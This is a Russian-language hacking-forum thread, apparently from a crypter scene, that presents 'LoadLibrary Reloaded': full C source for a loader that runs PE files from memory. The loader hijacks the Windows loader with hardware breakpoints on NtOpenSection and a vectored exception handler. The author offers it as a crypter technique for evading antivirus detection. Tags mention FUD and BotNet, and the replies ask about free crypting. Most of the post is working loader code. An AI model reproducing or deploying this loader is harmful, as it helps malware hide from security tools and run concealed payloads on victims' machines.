Загрузка...

LoadLibrary Reloaded: модификация для загрузки исполняемых файлов из памяти.

Тема в разделе Вирусология создана пользователем GlitchProject 13 авг 2024. 924 просмотра

Загрузка...
  1. GlitchProject
    GlitchProject Автор темы 13 авг 2024 https://t.me/Glitch_news_channel 1099 31 июл 2024
    [IMG]
    1) Введение
    2) Суть техники
    3) Реализация для x64 PE
    4) Тесты
    5) Заключение

    Введение
    Как известно, большинство крипторов и упаковщиков используют различные методы чтобы распаковать и запустить PE-файл из памяти. Наиболее распространёнными техниками по сей день являются RunPE и LoadPE. Данные техники, особенно если речь идет о LoadPE, в частных случаях и интересных реализациях могут быть вполне эффективными в плане обхода детектов. Суть LoadPE заключается в повторении действий, которые производит системный загрузчик.
    Наш метод заключается в том, чтобы эти действия не повторять, а самим заставлять загрузчик грузить бинари с памяти.
    Также должен отметить что представленная в коде реализация была позаимствована у пользователя _Indy (по большей части), однако реализовать этот метод можно не одним способом.
    Суть техники
    Метод основан на перехвате некоторых системных вызовов, происходящих во внутренней работе системного загрузчика (LoadLibrary), на этапе, когда он пытается найти DLL в \KnownDlls(32). Всё выше перечисленное будет реализовано на C, и в удобной форме приложено к топику.
    Метод, как было уже выяснено, должен работать для любых самых популярных форматов PE-файлов (DLL/EXE), но с .exe есть некоторые мелочи, о которых мы так же расскажем.

    Перейдём к сути.

    Что нужно для реализации техники?
    • Начинаем как в обычном LoadPE, создаем секцию, если у целевого образа нет релокаций, пытаемся сделать мап по предпочтительной базе. Если релокации есть, маппим по рандом адресу
      ⁡(*BaseAddress = 0)
      ⁡ .
    • Копируем заголовки, секции в ранее созданное отображение. Патчим релоки, если образ был записан не по своей базе. Если пытаемся запустить .exe файл, то добавляем атрибут
      ⁡IMAGE_FILE_DLL
      в поле
      ⁡Characteristics
      ⁡ файлового заголовка PE-файла, и, обязательно, зануляем
      ⁡AddressOfEntryPoint
      ⁡ в опциональном заголовке.
    • Сохраним дескриптор секции, базовый адрес отображения, по которому удалось записать (и релоцировать) целевой образ. Сделаем анмап отображения, ведь оно нам больше не нужно.
    • Начинаем хукать. Ставим
      ⁡HWBP
      ⁡ на
      ⁡NtOpenSection
      ⁡ , добавляем VEH-обработчик, который и будет делать всю работу, вызываем
      ⁡LoadLibrary
      ⁡ с переданным в нее заранее фейковым именем DLL (желательно, фейковым), обрабатываем исключения, проверяем имя образа, имя директории, заставляем загрузчик обработать и исполнить наш PE-файл из памяти, подменяя аргументы в стэке/регистрах.
    • В случае, если мы пытаемся загрузить .exe, после всех процедур необходимо вызвать
      ⁡EntryPoint
      ⁡ , и, желательно, пропатчить
      ⁡ImageBaseAddress
      ⁡ в
      ⁡PEB
      ⁡ базовым адресом, по которому у нас загрузился .exe
    Готово!

    Перед разговором об альтернативной реализации рассмотрим в вкратце как происходит загрузка библиотеки при вызове LoadLibrary, рассмотрим те вызовы которые интересны нам.
    • Лоадер начинает поиск файла по директориям через множество вызовов
      ⁡NtQueryAttributesFile
      ⁡ .
    • При нахождении файла библиотеки происходит вызов
      ⁡NtOpenFile
      ⁡ .
    • После получения дескриптора файла создаётся секция через
      ⁡NtCreateSection
      ⁡ , последним аргументом передаётся дескриптор файла открытого ранее.
    • Создаётся отображение файла через вызов
      ⁡ NtMapViewOfSection
      ⁡ .
    • Закрытие дескриптора файла и секции через
      ⁡NtClose
      ⁡ .
    Реализация для x64 PE
    Чтож, начнем с заголовков. Создадим заголовки со всеми необходимыми для нас внутренними структурами (на скриншоте свёрнуты для экономии места).
    [IMG]
    Также, добавим прототипы Nt-функций и макрос для вывода дебаг сообщений. И, естественно, самое главное – структуру
    ⁡LL_WRAPPER
    ⁡ , где будет храниться вся нужная для перехвата и загрузки PE информация.
    [IMG]
    [IMG]
    Покончили со структурами, перейдем к коду. Напишем две функции для копирования образа в память/его релокаций.
    Функция
    ⁡LdrCreateImageSection
    ⁡ . Создает секцию и в зависимости от наличия релоков маппит либо по базе, либо по рандом адресу. Вызывает
    ⁡LdrConvertFileToImage
    ⁡ для копирования образа и патча релоков.

    C

    PVOID LdrCreateImageSection(PLL_WRAPPER lwe, PVOID ImageBase) {

    LARGE_INTEGER sec_size;
    OBJECT_ATTRIBUTES ObjAttr;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew);
    DWORD size, rva;
    ULONG_PTR NewImageBase;
    HANDLE LHandle = NULL;
    SIZE_T ViewSize;
    PVOID MapAddress = NULL;
    NTSTATUS STATUS;
    BOOL has_reloc;

    lwe->entrypoint = nt->OptionalHeader.AddressOfEntryPoint; // save Ep in LL_WRAPPER struct

    if(!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) // check if PE is DLL
    lwe->is_dll = FALSE;
    else
    lwe->is_dll = TRUE;


    sec_size.QuadPart = nt->OptionalHeader.SizeOfImage;
    ViewSize = nt->OptionalHeader.SizeOfImage;

    // check if the binary has relocation information
    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    has_reloc = size == 0? FALSE : TRUE;
    if (!has_reloc)
    {
    DPRINT("No relocation information present, setting the base to: 0x%p", (PVOID)nt->OptionalHeader.ImageBase);
    MapAddress = (PVOID)nt->OptionalHeader.ImageBase;
    }

    InitializeObjectAttributes(&ObjAttr, 0, 0, 0, 0);

    STATUS = lwe->pZwCreateSection(&LHandle, SECTION_ALL_ACCESS, &ObjAttr, &sec_size, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
    if(!NT_SUCCESS(STATUS)){
    DPRINT("Unable to create section. NSTATUS: %lu", STATUS);
    return NULL;
    }

    STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE);
    if(!NT_SUCCESS(STATUS) && !has_reloc) {
    DPRINT("Unable to map view of section on preferred base. Trying to map at random base. NSTATUS: %lu", STATUS); // relevant only for x64 binaries
    MapAddress = NULL;
    STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE);
    if(!NT_SUCCESS(STATUS)) {
    DPRINT("Fuck it. NTSTATUS: %lu", STATUS);
    return NULL;
    }
    }

    LdrConvertFileToImage(lwe, ImageBase, MapAddress, has_reloc);

    STATUS = lwe->pZwUnmapViewOfSection(NtCurrentProcess(), MapAddress);
    if(!NT_SUCCESS(STATUS)) {
    DPRINT("Unable to Unmap view of section. NSTATUS: %lu", STATUS);
    return NULL;
    }

    DPRINT("Created section handle: %p", LHandle);

    lwe->hSection = LHandle; // save section handle

    lwe->DllBase = MapAddress; // save base address

    return MapAddress;
    }



    Функция
    ⁡LdrConvertFileToImage
    ⁡ копирует образ в память, релоцирует, и, при необходимости, зануляет EP и меняет характеристики в файловом заголовке.

    C


    bool LdrConvertFileToImage(PLL_WRAPPER lwe, PVOID ImageBase, PVOID MapAddress, BOOL has_reloc) {

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew);
    PIMAGE_NT_HEADERS ntnew = RVA2VA(PIMAGE_NT_HEADERS, MapAddress, dos->e_lfanew);
    PIMAGE_SECTION_HEADER sh;
    PBYTE ofs;
    PIMAGE_RELOC list;
    PIMAGE_BASE_RELOCATION ibr;
    DWORD rva, size;

    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    DPRINT("Copying Headers");
    DPRINT("nt->FileHeader.SizeOfOptionalHeader: %d", nt->FileHeader.SizeOfOptionalHeader);
    DPRINT("nt->OptionalHeader.SizeOfHeaders: %d", nt->OptionalHeader.SizeOfHeaders);
    DPRINT("Copying %d bytes", nt->OptionalHeader.SizeOfHeaders);

    mem_copy(MapAddress, ImageBase, nt->OptionalHeader.SizeOfHeaders);

    DPRINT("DOS Signature (Magic): %08lx, %p", ((PIMAGE_DOS_HEADER)MapAddress)->e_magic, &(((PIMAGE_DOS_HEADER)MapAddress)->e_magic));
    DPRINT("NT Signature: %lx, %p", ntnew->Signature, &(ntnew->Signature));

    DPRINT("Copying each section to memory %p", MapAddress);

    sh = IMAGE_FIRST_SECTION(ntnew);
    for(int i=0; i<ntnew->FileHeader.NumberOfSections; i++)
    {
    PBYTE dest = (PBYTE)MapAddress + sh[i].VirtualAddress;
    PBYTE source = (PBYTE)ImageBase + sh[i].PointerToRawData;

    if (sh[i].SizeOfRawData == 0)
    DPRINT("Section is empty of data, but may contain uninitialized data.");

    // Copy the section data
    mem_copy(dest,
    source,
    sh[i].SizeOfRawData);

    // Update the actual address of the section
    sh[i].Misc.PhysicalAddress = (DWORD)*dest;

    DPRINT("Copied section name: %s", sh[i].Name);
    DPRINT("Copied section source offset: 0x%X", sh[i].VirtualAddress);
    DPRINT("Copied section dest offset: 0x%X", sh[i].PointerToRawData);
    DPRINT("Copied section absolute address: 0x%lX", sh[i].Misc.PhysicalAddress);
    DPRINT("Copied section size: 0x%lX", sh[i].SizeOfRawData);
    }

    DPRINT("Sections copied.");

    if(!lwe->is_dll) {
    DPRINT("File is exe, changing characteristics in FileHeader and nulling EP.");
    DWORD null = 0;
    ntnew->FileHeader.Characteristics = ntnew->FileHeader.Characteristics | IMAGE_FILE_DLL;
    mem_copy(&ntnew->OptionalHeader.AddressOfEntryPoint, &null, sizeof(DWORD));
    }

    ntnew->OptionalHeader.ImageBase = (ULONG_PTR)MapAddress;

    ofs = (PBYTE)MapAddress - nt->OptionalHeader.ImageBase;
    //relocs
    if (ofs != 0 && has_reloc)
    {
    DPRINT("Applying Relocations");

    rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    ibr = RVA2VA(PIMAGE_BASE_RELOCATION, MapAddress, rva);

    while ((PBYTE)ibr < ((PBYTE)MapAddress + rva + size) && ibr->SizeOfBlock != 0) {
    list = (PIMAGE_RELOC)(ibr + 1);

    while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
    // check that the RVA is within the boundaries of the PE
    if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) {
    PULONG_PTR address = (PULONG_PTR)((PBYTE)MapAddress + ibr->VirtualAddress + list->offset);
    if (list->type == IMAGE_REL_BASED_DIR64) {
    *address += (ULONG_PTR)ofs;
    } else if (list->type == IMAGE_REL_BASED_HIGHLOW) {
    *address += (DWORD)(ULONG_PTR)ofs;
    } else if (list->type == IMAGE_REL_BASED_HIGH) {
    *address += HIWORD(ofs);
    } else if (list->type == IMAGE_REL_BASED_LOW) {
    *address += LOWORD(ofs);
    } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) {
    DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type);
    return false;
    }
    }
    list++;
    }
    ibr = (PIMAGE_BASE_RELOCATION)list;
    }
    }

    return true;
    }

    Небольшая функция, скорее для удобства. Подготавливает регистры перед установкой (следующего) HWBP, можно перенести функционал из нее в основной VEH-обработчик (необходимо будет переносить для x32… )

    C


    bool prepare(ULONG_PTR func_addr, CONTEXT* context, PLL_WRAPPER lwe) {

    if(!context) {
    context = (PCONTEXT)lwe->pRtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, sizeof(CONTEXT));
    context->ContextFlags = CONTEXT_DEBUG_REGISTERS;

    lwe->pZwGetContextThread(NtCurrentThread(), context);

    context->Dr7 = 1 << 0;
    context->Dr3 = (ULONG_PTR)lwe; // храним указатель на структуру в Dr3, поскольку там нет ничего важного
    context->Dr0 = func_addr;

    lwe->pZwContinue(context, FALSE);
    lwe->pRtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, context);
    }
    else{

    context->Dr7 = 1 << 0;
    context->Dr3 = (ULONG_PTR)lwe;
    context->Dr0 = func_addr;
    lwe->pZwContinue(context, FALSE);

    }

    return true;
    }

    Самая громоздкая функция в исходнике. VEH-обработчик. Выполняет всю основную работу по перехвату загрузчика. Те, кто знаком с VEH, должны понимать, что тут происходит.

    C


    #define RET_INSTRUCTION 0xC3 // 0xC2 для wow64 ntdll

    LONG veh (PEXCEPTION_POINTERS ExceptionInfo) {

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { //HWBP

    PLL_WRAPPER lwe = (PLL_WRAPPER)ExceptionInfo->ContextRecord->Dr3;

    if(lwe->status == ZwOpenSection) {
    DPRINT("lwe->status == ZwOpenSection");

    WCHAR NameBuffer[MAX_PATH*2];
    UNICODE_STRING ObjectName;
    ULONG ReturnLength = 0;
    PUNICODE_STRING TempName;
    POBJECT_ATTRIBUTES ObjectAttr = (POBJECT_ATTRIBUTES)ExceptionInfo->ContextRecord->R8; //3rd arg
    DPRINT("ObjectAttr->ObjectName: %ws", ObjectAttr->ObjectName->Buffer);
    DPRINT("ObjectAttr->RootDirectory: %p", ObjectAttr->RootDirectory);

    TempName = ObjectAttr->ObjectName; // save tempname

    if(lwe->pRtlCompareUnicodeString(TempName, &lwe->DllName, TRUE))
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);

    ObjectName.Buffer = NameBuffer; // init ObjectName
    ObjectName.Length = MAX_PATH*2;
    ObjectName.MaximumLength = MAX_PATH*2;

    if(lwe->pZwQueryObject(ObjectAttr->RootDirectory, ObjectNameInformation, &ObjectName, MAX_PATH*2 + sizeof(UNICODE_STRING), NULL) != 0x00) {
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }
    DPRINT("ObjectName.Buffer: %ws", ObjectName.Buffer);
    if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory, TRUE)) { //check if it's knowndlls
    if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory32, TRUE)) {
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }
    }

    ULONG_PTR* hSection = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rcx; // ptr to section handle

    *hSection = (ULONG_PTR)lwe->hSection; // change
    DPRINT("Changed hSection to: %llu", *hSection);

    BYTE ret = 0;
    PBYTE func_base = (PBYTE)ExceptionInfo->ContextRecord->Rip;
    while(*func_base != RET_INSTRUCTION){
    func_base++;
    ret++;
    } //find ret to skip ZwOpenSection

    ExceptionInfo->ContextRecord->Rax = 0;
    ExceptionInfo->ContextRecord->Rip += ret;

    lwe->status = ZwMapViewOfSection;
    prepare((ULONG_PTR)lwe->pZwMapViewOfSection, ExceptionInfo->ContextRecord, lwe);

    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);

    }


    if(lwe->status == ZwMapViewOfSection) {

    DPRINT("lwe->status == ZwMapViewOfSection");

    ULONG_PTR hSection = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx;
    HANDLE hProcess = (HANDLE)ExceptionInfo->ContextRecord->Rdx;
    ULONG_PTR *BaseAddress = (ULONG_PTR *)ExceptionInfo->ContextRecord->R8;

    ULONG_PTR* RSP = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp;

    ULONG *AllocationType = (ULONG*)((char*)RSP + 9 * 8);
    ULONG *Protection = (ULONG*)((char*)RSP + 10 * 8);

    #ifdef DEBUG

    ULONG_PTR ZeroBits = (ULONG_PTR)ExceptionInfo->ContextRecord->R9;
    SIZE_T *CommitSize = (SIZE_T*)((char*)RSP + 5 * 8);
    PLARGE_INTEGER *SectionOffset = (PLARGE_INTEGER*)((char*)RSP + 6 * 8);
    PSIZE_T* size = (SIZE_T**)((char*)RSP + 7 * 8);
    ULONG *InheritDisposition = (ULONG*)((char*)RSP + 8 * 8);
    #endif

    if(hSection != (ULONG_PTR)lwe->hSection) {
    DPRINT("Section handle is not equal to pre-created one");
    DPRINT("Section handle: %p", hSection);
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }
    if(hProcess != NtCurrentProcess()) {
    DPRINT("Process handle is not equal to current process handle (pseudo)");
    DPRINT("Process handle: %p", hProcess);
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }

    if(hSection == (ULONG_PTR)lwe->hSection && hProcess == NtCurrentProcess()) {
    DPRINT("Handle of section is equal to pre-created section handle, and the process handle is ours.");
    *AllocationType = 0; // Cause there will be always SEC_FILE, we don't need that
    *Protection = PAGE_EXECUTE_READWRITE; // :(. u can write handler to set proper protections inside veh handler, but there's rwx map
    *BaseAddress = (ULONG_PTR)lwe->DllBase;

    DPRINT("ZwMapViewOfSection: SECTION HANDLE: %p, PROCESS HANDLE: %p, BASE ADDRESS: %p, ZeroBits: %llu, CommitSize: %llu, SectionOffset: %p, VIEW SIZE: %llu, InheritDisposition: %lu, AllocationType: %lu, Win32Protect: %lu", \
    hSection, hProcess, *BaseAddress, ZeroBits, *CommitSize, *SectionOffset, **size, *InheritDisposition, *AllocationType, *Protection);


    lwe->status = ZwClose;
    prepare(lwe->pZwClose, ExceptionInfo->ContextRecord, lwe);
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }
    }

    if(lwe->status == ZwClose) {
    DPRINT("lwe->status == ZwClose");
    ULONG_PTR handle = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx;

    if(handle == (ULONG_PTR)lwe->hSection) {
    DPRINT("Handle of section is equal to pre-created section handle!");
    DPRINT("ZwClose: section handle: %llu", handle);
    lwe->status = End;
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }
    else {
    DPRINT("Handle of section is not equal to pre-created section handle.");
    DPRINT("ZwClose: section handle: %llu", handle);
    ExceptionInfo->ContextRecord->EFlags |= 0x10000;
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }


    }
    if(lwe->status == End) {
    DPRINT("lwe->status == End");
    ExceptionInfo->ContextRecord->Dr0 = 0;
    ExceptionInfo->ContextRecord->Dr1 = 0;
    ExceptionInfo->ContextRecord->Dr2 = 0;
    ExceptionInfo->ContextRecord->Dr3 = 0;
    ExceptionInfo->ContextRecord->Dr6 = 0;
    ExceptionInfo->ContextRecord->Dr7 = 0;
    ExceptionInfo->ContextRecord->EFlags |= 0x10000;
    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }

    lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }

    return EXCEPTION_CONTINUE_SEARCH;
    }

    Собственно, точка входа. Единственное место, где появляется какой-либо импорт и строки, все остальные функции адаптированы для использования в шеллкодах. Здесь происходит инициализация структуры
    ⁡LL_WRAPPER
    ⁡ , установка HWBP, добавление VEH-обработчика и т.д.

    C


    [LEFT]int main(void) {

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");

    HANDLE hSection = NULL, hModule = NULL;
    LL_WRAPPER lwe;
    PVOID DllBase;
    PVOID entrypoint;
    //init apis
    lwe.pRtlCompareUnicodeString = (TD_RtlCompareUnicodeString) GetProcAddress(ntdll, "RtlCompareUnicodeString");
    lwe.pRtlCreateUnicodeString = (TD_RtlCreateUnicodeString) GetProcAddress(ntdll, "RtlCreateUnicodeString");
    lwe.pRtlAllocateHeap = (TD_RtlAllocateHeap) GetProcAddress(ntdll, "RtlAllocateHeap");
    lwe.pZwGetContextThread = (TD_NtGetContextThread) GetProcAddress(ntdll, "NtGetContextThread");
    lwe.pRtlFreeHeap = (TD_RtlFreeHeap) GetProcAddress(ntdll, "RtlFreeHeap");
    lwe.pZwContinue = (TD_NtContinue) GetProcAddress(ntdll, "NtContinue");
    lwe.pZwCreateSection = (TD_NtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
    lwe.pZwUnmapViewOfSection = (TD_NtUnmapViewOfSection) GetProcAddress(ntdll, "NtUnmapViewOfSection");
    lwe.pZwOpenSection = (ULONG_PTR) GetProcAddress(ntdll, "NtOpenSection");
    lwe.pZwMapViewOfSection = (TD_NtMapViewOfSection) GetProcAddress(ntdll, "NtMapViewOfSection");
    lwe.pZwClose = (ULONG_PTR) GetProcAddress(ntdll, "NtClose");
    lwe.pZwQueryObject = (TD_NtQueryObject) GetProcAddress(ntdll, "NtQueryObject");
    //init required strings
    lwe.pRtlCreateUnicodeString(&lwe.Directory, L"\\KnownDlls");
    lwe.pRtlCreateUnicodeString(&lwe.Directory32, L"\\KnownDlls32");
    lwe.pRtlCreateUnicodeString(&lwe.DllName, DLL_NAME);

    //create image section
    if(!LdrCreateImageSection(&lwe, rawData)){
    DPRINT("Unable to create Image section from raw PE. Something wrong...");
    return -1;
    }

    lwe.status = ZwOpenSection;
    // add veh handler
    PVOID hVeh = AddVectoredExceptionHandler(1, veh);
    // set hwbp
    prepare(lwe.pZwOpenSection, NULL, &lwe);
    //lesgoo
    hModule = LoadLibraryW(DLL_NAME);

    RemoveVectoredExceptionHandler(hVeh);

    DPRINT("Module base: %p", hModule);

    //fix if it's .exe
    if(!lwe.is_dll) {
    DPRINT("Your file is .exe, so it's required to update ImageBaseAddress in PEB with loaded .exe");
    NtCurrentTeb()->ProcessEnvironmentBlock->ImageBaseAddress = hModule;
    entrypoint = RVA2VA(PVOID, hModule, lwe.entrypoint);
    DPRINT("Executing .exe entrypoint: %p", entrypoint);
    ((void(*)())entrypoint)();
    }

    return 0;

    }[/LEFT]


    Тесты
    Итак, целевой образ. Возьмем условный messagebox (x64), который выводит свой базовый адрес, и проверим работоспособность загрузчика. (разместим его в виде массива байт в заголовке)
    [IMG]
    Откроем средства сборки для х64, скомпилируем загрузчик с флагом /
    ⁡DDEBUG
    ⁡ (для наглядности), и, давайте же уже, проверим работоспособность нашего загрузчика на Win7/10/11
    [IMG]

    Начнём с Windows 7
    [IMG]
    Всё работает корректно

    Windows 10 (22H2)
    [IMG]
    Всё работает корректно

    Windows 11
    [IMG]
    ✅ Всё работает корректно

    Также, проверим обычный calc.exe на Win10/11

    Windows 10
    [IMG]
    ✅ Всё работает корректно

    Windows 11
    [IMG]
    Заключение
    В заключении хочу сказать, что загрузчик очень даже хорош, он обеспечивает неплохое покрытие файлов, а также он очень прост в реализации.

    Всем спасибо за прочтение.
    :eth: Контакты :eth:

    Telegram канал
    https://t.me/Glitch_news_channel

    ID: -1001973186772

    Telegram саппорта
    https://t.me/glitch_supportV2
    ID: 7450400900

    Telegram бот
    https://t.me/GlitchProjectV2_bot
    ID: 7380735475


    Все файлы к статье находятся в Telegram канале
    Крипт, LoadLibrary Reloaded, fud, BotNet, запуск файла в памяти, *******, PE, PE файлы, pe, dll, exe, crypt, фуд, С++, C++, C, x64, x32, x86, байт код
     
    13 авг 2024 Изменено
  2. XM8WyK
    XM8WyK 13 авг 2024 XM8WyK Crypt - lolz.live/threads/5697860 3415 3 дек 2022
    Не плохой LoadPe :finger_up:
     
  3. Grailed
    Grailed 9 ноя 2024 7749 21 окт 2021
    бесплатный крипт? :pepeshapka:
     
Top